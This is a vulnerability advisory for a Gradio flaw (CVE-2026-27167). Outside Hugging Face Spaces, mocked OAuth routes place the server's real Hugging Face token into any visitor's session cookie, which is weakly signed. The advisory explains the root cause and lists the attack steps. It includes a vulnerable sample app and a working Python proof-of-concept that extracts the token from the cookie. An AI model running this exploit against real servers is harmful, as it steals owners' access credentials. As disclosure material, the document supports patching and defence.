CVE-2026-27167

## Summary Gradio applications running outside of Hugging Face Spaces automatically enable "mocked" OAuth routes when OAuth components (e.g. `gr.LoginButton`) are used. When a user visits `/login/huggingface`, the server retrieves its own Hugging Face access token via `huggingface_hub.get_token()` and stores it in the visitor's session cookie. If the application is network-accessible, any remote attacker can trigger this flow to steal the server owner's HF token. The session cookie is signed with a hardcoded secret derived from the string `"-v4"`, making the payload trivially decodable. ## Affected Component `gradio/oauth.py` — functions `attach_oauth()`, `_add_mocked_oauth_routes()`, and `_get_mocked_oauth_info()`. ## Root Cause Analysis ### 1. Real token injected into every visitor's session When Gradio detects it is **not** running inside a Hugging Face Space (`get_space() is None`), it registers mocked OAuth routes via `_add_mocked_oauth_routes()` (line 44). The function `_get_mocked_oauth_info()` (line 307) calls `huggingface_hub.get_token()` to retrieve the **real** HF access token configured on the host machine (via `HF_TOKEN` environment variable or `huggingface-cli login`). This token is stored in a dict that is then injected into the session of **any visitor** who hits `/login/callback` (line 183): ```python request.session["oauth_info"] = mocked_oauth_info ``` The `mocked_oauth_info` dict contains the real token at key `access_token` (line 329): ```python return { "access_token": token, # <-- real HF token from server ... } ``` ### 2. Hardcoded session signing secret The `SessionMiddleware` secret is derived from `OAUTH_CLIENT_SECRET` (line 50): ```python session_secret = (OAUTH_CLIENT_SECRET or "") + "-v4" ``` When running outside a Space, `OAUTH_CLIENT_SECRET` is not set, so the secret becomes the **constant string `"-v4"`**, hashed with SHA-256. Since this value is public (hardcoded in source code), any attacker can decode the session cookie payload without needing to break the signature. In practice, Starlette's `SessionMiddleware` stores the session data as **plaintext base64** in the cookie — the signature only provides integrity, not confidentiality. The token is readable by simply base64-decoding the cookie payload. ## Attack Scenario ### Prerequisites - A Gradio app using OAuth components (`gr.LoginButton`, `gr.OAuthProfile`, etc.) - The app is network-accessible (e.g. `server_name="0.0.0.0"`, `share=True`, port forwarding, etc.) - The host machine has a Hugging Face token configured - `OAUTH_CLIENT_SECRET` is **not** set (default outside of Spaces) ### Steps 1. Attacker sends a GET request to `http://<target>:7860/login/huggingface` 2. The server responds with a 307 redirect to `/login/callback` 3. The attacker follows the redirect; the server sets a `session` cookie containing the real HF token 4. The attacker base64-decodes the cookie payload (everything before the first `.`) to extract the `access_token` ## Minimal Vulnerable Application ```python import gradio as gr from huggingface_hub import login login(token="hf_xxx...") def hello(profile: gr.OAuthProfile | None) -> str: if profile is None: return "Not logged in." return f"Hello {profile.name}" with gr.Blocks() as demo: gr.LoginButton() gr.Markdown().attach_load_event(hello, None) demo.launch(server_name="0.0.0.0") ``` ## Proof of Concept ```python #!/usr/bin/env python3 """ POC: Gradio mocked OAuth leaks server's HF token via session + weak secret Usage: python exploit.py --target http://victim:7860 python exploit.py --target http://victim:7860 --proxy http://127.0.0.1:8080 """ import argparse import base64 import json import sys import requests def main(): ap = argparse.ArgumentParser() ap.add_argument("--target", required=True, help="Base URL, e.g. http://host:7860") ap.add_argument("--proxy", default=None, help="HTTP proxy, e.g. http://127.0.0.1:8080") args = ap.parse_args() base = args.target.rstrip("/") proxies = {"http": args.proxy, "https": args.proxy} if args.proxy else None # 1. Trigger mocked OAuth flow — server injects its own HF token into our session s = requests.Session() s.get(f"{base}/login/huggingface", allow_redirects=True, verify=False, proxies=proxies) cookie = s.cookies.get("session") if not cookie: print("[-] No session cookie received; target may not be vulnerable.", file=sys.stderr) sys.exit(1) # 2. Decode the cookie payload (base64 before the first ".") payload_b64 = cookie.split(".")[0] payload_b64 += "=" * (-len(payload_b64) % 4) # fix padding data = json.loads(base64.b64decode(payload_b64)) token = data.get("oauth_info", {}).get("access_token") if token: print(f"[+] Leaked HF token: {token}") else: print("[-] No access_token found in session.", file=sys.stderr) sys.exit(1) if __name__ == "__main__": main() ```

Gradio is an open-source Python package designed for quick prototyping. Starting in version 4.16.0 and prior to version 6.6.0, Gradio applications running outside of Hugging Face Spaces automatically enable "mocked" OAuth routes when OAuth components (e.g. `gr.LoginButton`) are used. When a user visits `/login/huggingface`, the server retrieves its own Hugging Face access token via `huggingface_hub.get_token()` and stores it in the visitor's session cookie. If the application is network-accessible, any remote attacker can trigger this flow to steal the server owner's HF token. The session cookie is signed with a hardcoded secret derived from the string `"-v4"`, making the payload trivially decodable. Version 6.6.0 fixes the issue.